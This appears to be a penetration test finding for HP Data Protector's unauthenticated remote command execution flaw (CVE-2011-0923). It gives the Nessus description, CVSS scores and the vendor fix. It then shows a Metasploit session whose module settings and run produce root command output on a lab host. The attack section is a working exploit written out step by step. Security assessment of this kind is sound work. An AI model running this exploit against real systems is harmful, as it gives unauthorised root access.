metasploit - HP Data Protector Remote Command Execution

53641 (1) - HP Data Protector Remote CommandExecution

Synopsis

The remoteservice allows remote execution of arbitrary commands withoutauthentication.

Description

The remote HPData Protector client or server service is affected by a commandexecution vulnerability. A malicious user can send a speciallycrafted packet that causes this service to execute an arbitrary shellcommand with system privileges.

See Also

http://www.zerodayinitiative.com/advisories/ZDI-11-055/

http://archives.neohapsis.com/archives/bugtraq/2011-02/0076.html

http://www.nessus.org/u?6ca03389

Solution

1. Upgrade toData Protector A.06.20 or later and

2. Enable encryptedcontrol communication services on cell server and all clients incell.

Risk Factor

Critical

CVSS Base Score

10.0(CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS Temporal Score

8.3(CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References

BID	46234
CVE	CVE-2011-0923
XREF	OSVDB:72526
XREF	EDB-ID:17339
XREF	EDB-ID:17648
XREF	EDB-ID:18521
XREF	EDB-ID:27400

Exploitable with

CANVAS(true)Metasploit (true)

Plugin Information:

Publicationdate: 2011/05/03, Modification date: 2013/08/08

Hosts

192.168.1.92 (tcp/5555)

Nessus was able to exploit the vulnerability to execute thecommand
'/usr/bin/id' on the remote host, which produced thefollowing output :
------------------------------ snip------------------------------
sdp2
uid=0(root) gid=0(root)egid=3(sys)groups=1(other),2(bin),4(adm),5(daemon),6(mail),7(lp),20(users)
sdp2
0
------------------------------snip ------------------------------

Attack Details

msf auxiliary(hp_data_protector_cmd) > show options   Module options (auxiliary/admin/hp/hp_data_protector_cmd):      Name   Current Setting            Required  Description    ----   ---------------            --------  -----------    CMD    Windows\System32\calc.exe  yes       File to execute    RHOST                             yes       The target address    RPORT  5555                       yes       The target port      msf auxiliary(hp_data_protector_cmd) > set CMD /usr/bin/id CMD => /usr/bin/id msf auxiliary(hp_data_protector_cmd) > set RHOST 192.168.1.92 RHOST => 192.168.1.92 msf auxiliary(hp_data_protector_cmd) > run   [*] 192.168.1.92:5555 - Sending command... [*] �15 [12:1] ^B[2004] 1409833427 INET sdp2 uid=0(root) gid=0(root) egid=3(sys) groups=1(other),2(bin),4(adm),5(daemon),6(mail),7(lp),20(users)  sdp2^F6 0 [*] Auxiliary module execution completed